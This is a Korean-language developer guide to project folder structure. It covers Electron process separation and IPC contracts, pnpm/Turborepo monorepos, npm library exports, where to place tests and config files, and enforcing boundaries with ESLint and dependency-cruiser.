shared/ 는 템플릿에 없는 권장 추가입니다. 여기엔 타입과 상수만 둡니다 — fs 를 쓰는 함수를 넣는 순간 renderer 번들이 깨지거나, 더 나쁘게는 권한이 새어 나갑니다.

세 곳이 같은 계약을 보게

// src/shared/ipc.ts — 이름과 타입만
export type Settings = { theme: "dark" | "light" };
export const IPC = {
  readFile: "file:read",
  saveSettings: "settings:save",
} as const;
export interface Api {
  readFile(path: string): Promise<string>;
  saveSettings(s: Settings): Promise<void>;
}

// src/preload/index.ts — 함수 단위로만 노출
import { contextBridge, ipcRenderer } from "electron";
import { IPC, type Api } from "../shared/ipc";
const api: Api = {
  readFile: (p) => ipcRenderer.invoke(IPC.readFile, p),
  saveSettings: (s) => ipcRenderer.invoke(IPC.saveSettings, s),
};
contextBridge.exposeInMainWorld("api", api);
// ❌ exposeInMainWorld("ipc", ipcRenderer) — 모든 채널이 열립니다
안쪽일수록 권한이 크고, 바깥일수록 믿을 수 없습니다 main preload renderer renderer — React · Vue 화면 외부 콘텐츠 · XSS 에 노출 — 믿지 않음 preload — 다리 허용 목록의 함수만 window.api 로 main — Node 전권 파일 · DB · 창 · 자동 업데이트 Tauri 2 라면 — src/ 가 renderer, src-tauri/ (Rust) 가 main 자리 공유할 것은 shared/ 의 타입뿐 — 코드는 IPC 로만 건넙니다
폴더 경계 = 권한 경계입니다 — 바깥 폴더가 안쪽 코드를 import 하는 순간 보안 모델이 무너집니다.
무엇을어디에왜
파일 · DB · 네이티브 모듈main/Node 가 있는 유일한 곳. renderer 에서 sqlite 를 부르면 안 됩니다
IPC 핸들러main/ipc/기능.ts채널이 50개를 넘어도 기능별로 찾을 수 있게. 인자 검증은 여기서
채널 이름 · 타입shared/오타 하나로 조용히 응답이 없는 버그를 타입이 막습니다
화면 · 상태renderer/src/일반 SPA 와 같습니다 — 기능별 폴더
정리 — main · preload · renderer 는 런타임과 권한이 다른 세 앱입니다. 공유는 shared/ 의 타입과 상수만, 나머지는 IPC 로 건넵니다. Tauri 는 같은 구조를 src/ 와 src-tauri/ 로 나눕니다.
STR 07

모노레포 — pnpm workspace + Turborepo, apps/ 와 packages/

두 번째 앱이 생기고 타입을 복사해 붙이기 시작하면 워크스페이스로 넘어갈 때입니다. 도구 소개와 turbo.json 은 🧰 도구 탭 o02, 의존 연결 · tsconfig 공유 · 환경 변수는 🚑 프론트 실무 탭 pf12 에 있으니, 여기서는 폴더를 어떻게 가르고 무엇이 무엇을 참조하는지만 정리합니다.

기본 배치

acme/
├─ pnpm-workspace.yaml    # packages: ["apps/*", "packages/*"]
├─ turbo.json             # 작업 그래프 · 캐시
├─ package.json           # 루트 — turbo · 공통 devDependencies
├─ apps/                  # ★ 배포되는 것 — 서로 import 금지
│  ├─ web/                # Next.js
│  ├─ admin/              # Vite SPA
│  └─ api/                # Nest · Hono
└─ packages/              # ★ 공유되는 것 — apps 를 모름
   ├─ ui/                 # React 컴포넌트
   ├─ schema/             # zod 스키마 + 타입 (프런트 · 백 공용)
   ├─ eslint-config/      # 공유 린트 설정
   └─ tsconfig/           # base.json · react.json · node.json
규칙왜
apps → packages 한 방향packages 가 앱을 알면 다시는 떼어 낼 수 없습니다
이름으로 참조"@acme/ui": "workspace:*" — ../../packages 상대 경로 금지
설정도 패키지로tsconfig · eslint 를 앱마다 복사하면 석 달 뒤 전부 다릅니다

실험 — workspace:* 는 무엇이 되나 (pnpm 10.33)

# apps/web/package.json: "@acme/ui": "workspace:*"
$ pnpm install --offline
$ ls -la apps/web/node_modules/@acme/
ui -> .../e-ws/packages/ui/        # ① 복사가 아니라 링크
$ node apps/web/main.js
button                             # 고치면 즉시 반영, 재설치 없음

$ cd apps/web && pnpm pack
$ tar -xOzf acme-web-1.0.0.tgz package/package.json
  "dependencies": { "@acme/ui": "0.3.0" }
                                   # ② 배포할 땐 실제 버전으로 치환

내부 패키지의 두 형태

형태언제
원본 그대로
exports → ./src/index.ts
쓰는 쪽이 전부 번들러(Vite · Next)일 때. 빌드 단계가 없어 가장 단순
빌드된 패키지
dist + references
tsc 로 컴파일해 node 로 직접 실행하는 서버가 쓸 때. tsc -b 로 순서대로 (STR 01)
turbo build 두 번 — 위 막대는 첫 빌드, 아래 막대는 web 만 고친 뒤 (예시 값) 0초 12 24 36 48 packages/schema packages/ui apps/api apps/admin apps/web 짧은 막대 넷은 캐시 복원 입력 해시가 같으면 dist 를 꺼냄 ^build — 의존 패키지가 먼저 끝나야 시작합니다 첫 빌드 50초 다시 36초 CI 에 원격 캐시를 붙이면 다른 사람이 이미 빌드한 결과도 받아 옵니다 outputs 를 빠뜨리면 캐시가 "성공"만 기억하고 dist 는 비어 있습니다
모노레포 비용(빌드가 느려짐)을 캐시가 갚아 줍니다 — 바뀐 것과 그것에 의존하는 것만 다시 돕니다.
❌ 흔한 실수
// apps/admin 이 apps/web 의 코드를 가져다 씀
import { PriceTag } from "../../web/src/components/PriceTag";
// packages/ui 안에서 "@/..." 별칭 — 쓰는 앱의 src 를 가리키게 됨
import { cn } from "@/lib/cn";
✅ 옮겨서 이름으로
// 두 앱이 쓰면 packages/ui 로 옮기고 이름으로 참조
import { PriceTag } from "@acme/ui";
// 공유 패키지 내부는 상대 경로만
import { cn } from "./lib/cn";
정리 — apps/ 는 배포되는 것, packages/ 는 공유되는 것. 참조는 apps → packages 한 방향, 이름 + workspace:* 로만. 빌드 시간은 Turborepo 캐시로 갚습니다.
STR 08

라이브러리 패키지 — 진입점 하나, exports 가 곧 공개 API

앱은 아무 파일이나 import 해도 되지만, 라이브러리는 사용자가 import 할 수 있는 경로가 곧 약속입니다. 내부 파일 이름을 바꿨다가 누군가의 빌드가 깨지면 그건 메이저 버전 변경입니다. exports 필드가 그 약속을 런타임과 타입 검사 양쪽에서 강제합니다. tsup 설정은 🧰 도구 탭 o03, 하위 경로 노출과 트리셰이킹은 🧬 전문가 탭 d18 에 있습니다.

구조

date-kit/
├─ package.json       # ★ exports · type · files · sideEffects
├─ tsconfig.json
├─ tsup.config.ts     # dist 와 .d.ts 생성 (번들러는 도구 탭 o03)
├─ src/
│  ├─ index.ts        # ★ 공개 API — 여기서 export 한 것만 약속
│  ├─ format.ts
│  ├─ format.test.ts
│  └─ internal/       # exports 에 없으니 밖에서 import 불가
│     └─ parse.ts
├─ dist/              # 배포물 — 커밋 안 함, files 로 포함
└─ README.md · CHANGELOG.md · LICENSE
{
  "name": "@acme/date-kit",
  "version": "1.4.0",
  "type": "module",
  "exports": {
    ".": { "types": "./dist/index.d.ts", "default": "./dist/index.js" },
    "./package.json": "./package.json"
  },
  "files": ["dist"],
  "sideEffects": false,
  "engines": { "node": ">=20.19" }
}

실험 — exports 밖은 정말 막힐까 (Node 24.14)

$ node ok.mjs          # import { slugify } from "@acme/kit"
hello-world

$ node deep.mjs        # from "@acme/kit/dist/internal/slug.js"
Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: Package subpath
  './dist/internal/slug.js' is not defined by "exports"
  in ...\node_modules\@acme\kit\package.json

$ tsc                  # moduleResolution: NodeNext
t.ts(2,19): error TS2307: Cannot find module
  '@acme/kit/dist/internal/slug.js' or its corresponding
  type declarations.

$ node req.cjs         # require("@acme/kit") — ESM 전용을 CJS 에서
require(esm): a-b      # Node 24 는 경고 없이 동작
배포 형식2026 판단
ESM 전용신규 기본값. Node 20.19+ · 22.12+ 의 require(esm) 이 CJS 사용자도 받아 줍니다(최상위 await 가 없을 때)
ESM + CJS 이중더 오래된 Node · 도구까지 지원해야 할 때만. 두 사본이 따로 로드되어 싱글턴 · instanceof 가 깨질 수 있습니다
CJS 전용새로 만들지 않습니다
package.json 해부 — 이 다섯 필드가 사용자와의 계약입니다 "type": "module", "exports": { ".": { "types": "./dist/index.d.ts", "default": "./dist/index.js" } }, "files": ["dist"], "sideEffects": false .js 는 ESM npm 에 dist 만 진입점은 하나 나머지 경로는 import 불가 types 는 조건 맨 앞에 트리셰이킹 허용 신호 exports 를 쓰는 순간 적지 않은 경로는 전부 막힙니다 — 그것이 공개 API 입니다 경로를 하나 더 열면 그 경로도 semver 약속에 들어갑니다
라이브러리 구조의 핵심은 폴더가 아니라 exports 에 무엇을 적느냐입니다.
배포 전 검사 두 줄 — npx publint 는 exports · files 가 실제 파일과 맞는지, npx attw --pack .(@arethetypeswrong/cli)는 각 해석 방식(node16 · bundler 등)에서 타입이 제대로 잡히는지 봅니다. 이중 배포를 한다면 둘 다 CI 에 넣으세요. 번들러는 tsup(🧰 o03) 외에 후속으로 거론되는 tsdown 도 있으니 시작할 때 저장소 상태를 확인하세요.
정리 — 라이브러리는 src/index.ts 하나가 공개 API, 나머지는 internal/ 에. exports 로 그 약속을 강제하고, 2026 신규 패키지는 ESM 전용이 기본입니다.
STR 09

테스트 · 설정 파일 위치 — 단위는 옆에, E2E 는 따로, 설정은 루트에

테스트와 설정 파일은 "어디 둬도 돌아가니까" 가장 빨리 흩어지는 것들입니다. 규칙은 단순합니다 — 코드와 함께 바뀌는 테스트는 코드 옆, 앱 전체를 보는 테스트는 따로, 도구 설정은 루트에 한 벌. 도구 자체는 🧰 도구 탭 o04(ESLint) · o05(Vitest) · o06(Playwright), 환경 변수 검증은 o09 에 있습니다.

배치

my-app/
├─ eslint.config.js       # flat config — 루트에 하나
├─ prettier.config.js     # Biome 이면 biome.json 하나로 둘 다
├─ vitest.config.ts       # 또는 vite.config.ts 의 test 항목
├─ playwright.config.ts   # testDir: "./e2e"
├─ .editorconfig · .nvmrc · .gitignore
├─ .env.example           # ★ 커밋 — 이름 · 설명 · 가짜 값
├─ .env                   # 커밋 금지 — 내 PC 값
├─ src/features/cart/
│  ├─ cart.ts
│  └─ cart.test.ts        # ★ 단위 테스트는 바로 옆
├─ e2e/                   # ★ 브라우저로 앱 전체를
│  └─ checkout.spec.ts
└─ test/                  # 공용 setup · 픽스처 · MSW 핸들러
   └─ setup.ts
함정 — Vitest 의 기본 include 는 *.spec.ts 도 잡습니다. Playwright 의 e2e/*.spec.ts 를 Vitest 가 실행하려다 실패하는 일이 흔하니 아래처럼 include 를 좁혀 두세요.

러너마다 범위를 나눔

// vitest.config.ts — 단위 · 컴포넌트만
import { defineConfig } from "vitest/config";
export default defineConfig({
  test: {
    include: ["src/**/*.test.{ts,tsx}", "test/**/*.test.ts"],  // e2e/ 는 안 봄
    setupFiles: ["./test/setup.ts"],
  },
});

실험 — .env 는 어떤 순서로 이기나 (Node 24.14)

# .env: PORT=3000 · DATABASE_URL=postgres://dev   .env.local: PORT=4000
$ node --env-file=.env --env-file-if-exists=.env.local a.mjs
4000 postgres://dev          # 뒤에 준 파일이 이김
$ PORT=9 node --env-file=.env a.mjs
9 postgres://dev             # 이미 있는 환경 변수가 파일보다 우선
$ node --env-file-if-exists=.env.nope a.mjs
.env.nope not found. Continuing without it.
# .gitignore
.env
.env.*
!.env.example
테스트를 어디에 — 진한 칸이 권장, 흐린 칸은 가능 코드 옆 (src/**) test/ e2e/ 단위 (함수 · 훅) 권장 · *.test.ts 가능 — 컴포넌트 권장 · *.test.tsx 가능 — API 통합 (DB 포함) 가능 권장 · integration/ — E2E (브라우저) — — 권장 · *.spec.ts setup · 픽스처 — 권장 e2e 전용만 파일 이름 규칙(.test / .spec)을 러너별로 나누면 서로의 테스트를 실행하지 않습니다
기준은 하나 — 그 테스트가 무엇과 함께 바뀌는가. 코드와 함께면 옆에, 앱 전체와 함께면 따로.
파일위치규칙
도구 설정루트 · 하나씩폴더마다 .eslintrc 를 두던 방식은 flat config 에서 files 패턴 하나로 대신합니다
.env.example루트 · 커밋새 변수를 추가하는 PR 은 이 파일도 고쳐야 리뷰 통과
.env · .env.local루트 · 무시프런트에서 VITE_ · NEXT_PUBLIC_ 은 공개 값입니다 (🚑 pf12)
환경 변수 읽기src/config/env.ts 하나코드 곳곳의 process.env.X 대신 검증된 객체를 import
정리 — 단위 · 컴포넌트 테스트는 코드 옆 .test.ts, E2E 는 e2e/, 공용 setup 은 test/. 설정은 루트에 한 벌, .env.example 만 커밋합니다.
STR 10

한 장 요약 — 유형 · 규모별 권장 구조와 규칙을 도구로 강제하기

구조는 문서로 정하면 석 달 안에 무너집니다. 리뷰어가 매번 "여기서 그걸 import 하면 안 돼요"라고 말해야 하기 때문입니다. 마지막 섹션은 앞의 아홉 섹션을 표 한 장으로 줄이고, 그 규칙을 린트 · CI 가 지키게 만드는 법으로 끝냅니다.

유형 · 규모권장 구조경계를 지키는 것다음 단계 신호
학습 · PoCsrc/ 하나 · 종류별 폴더도 OK없음파일 30개 · 사람 2명
React · Vue SPAfeatures/ + 기능별 index.ts (STR 02 · 03)no-restricted-imports팀이 둘 이상
큰 프런트 · 여러 팀FSD 여섯 층 (STR 02)Steiger두 번째 앱
Next.jsapp/ 은 라우트만 · src/features/ (STR 04)server-only · 린트 규칙두 라우트가 같은 조각을 씀
Node APImodules/기능/ routes · service · repository · Nest 모듈 (STR 05)Nest exports · dependency-cruiser규칙이 service 에 넘침 → 🧬 d15
Electronmain · preload · renderer · shared (STR 06)빌드 분리 · contextIsolation무거운 일 → 프로세스 분리 (⚙️ v01)
앱 2개 + 공유 타입pnpm workspace + Turborepo (STR 07)workspace:* · 순환 금지 규칙팀 · 배포 주기가 갈라짐
npm 라이브러리src/index.ts 하나 · exports (STR 08)exports · publint · attw하위 경로가 셋 이상 → 패키지 분리
무엇으로 시작할 것인가 — 마름모가 질문, 초록 상자가 답입니다 배포 앱이 2개 이상 또는 npm 배포? 아니오 예 워크스페이스 · 라이브러리 STR 07 · STR 08 프레임워크가 폴더 규약을 정하나? 예 규약 + src/features Next · Nest · STR 04 · 05 아니오 화면 · API 20개+ 또는 2명 이상? 예 기능별 폴더 기본값 · STR 02 · 05 아니오 src/ 하나 · 종류별 OK 학습 · 도구 · PoC 어느 갈래로 가도 기능별 폴더를 지나갑니다 규칙을 정했다면 → 아래 린트 · CI 로 고정 구조는 한 번 고르는 게 아니라 신호가 올 때 다시 이 그림을 타는 것입니다
질문 셋이면 시작 구조가 정해집니다 — 대부분의 답은 "기능별 폴더"입니다.

규칙을 도구로 강제하기 🟡 중급

① ESLint 기본 규칙만으로 — 기능 내부 접근 금지

// eslint.config.js — 플러그인 없이
export default [
  {
    files: ["src/**/*.{ts,tsx}"],
    rules: {
      "no-restricted-imports": ["error", {
        patterns: [{
          group: ["@/features/*/*"],
          message: "기능은 index.ts 로만 import 하세요 (STR 02)",
        }],
      }],
    },
  },
];
# ESLint Linter API 로 확인한 결과
import { CartPanel } from "@/features/cart";            → OK
import { fetchCart } from "@/features/cart/cart.api";
  → '@/features/cart/cart.api' import is restricted from being
    used by a pattern. 기능은 index.ts 로만 import 하세요
import x from "./cart.api";   (기능 안의 상대 경로)      → OK
층 규칙이 여럿이면 eslint-plugin-boundaries 처럼 "요소 종류 → 허용 대상"을 선언하는 플러그인이 낫습니다. Nx 를 쓴다면 태그 기반 @nx/enforce-module-boundaries 가 같은 일을 합니다.

② dependency-cruiser — 순환 · 방향을 CI 에서

// .dependency-cruiser.cjs
module.exports = {
  forbidden: [
    { name: "no-circular", severity: "error",
      from: {}, to: { circular: true } },
    { name: "no-feature-to-feature", severity: "error",
      from: { path: "^src/features/([^/]+)/" },
      to:   { path: "^src/features/([^/]+)/",
              pathNot: "^src/features/$1/" } },
    { name: "packages-dont-know-apps", severity: "error",
      from: { path: "^packages/" }, to: { path: "^apps/" } },
  ],
};
// CI: npx depcruise src --config .dependency-cruiser.cjs

③ FSD — Steiger

# steiger.config.ts 에 FSD 플러그인(@feature-sliced/steiger-plugin)을 등록한 뒤
npx steiger ./src     # FSD 공식 린터 — 층 · 슬라이스 · 공개 API 규칙
dependency-cruiser · Steiger · boundaries 플러그인은 이 PC 에 설치하지 않아 실행하지 않았고, 설정은 각 공식 문서 기준입니다. 이미 위반이 많은 프로젝트는 처음부터 error 로 걸지 말고 새 위반만 막는 것부터 시작하세요.
정리 — 시작은 대부분 기능별 폴더, 앱이 둘이면 워크스페이스. 정한 규칙은 no-restricted-imports 한 줄부터 린트와 CI 에 넣어 사람 대신 도구가 지키게 합니다.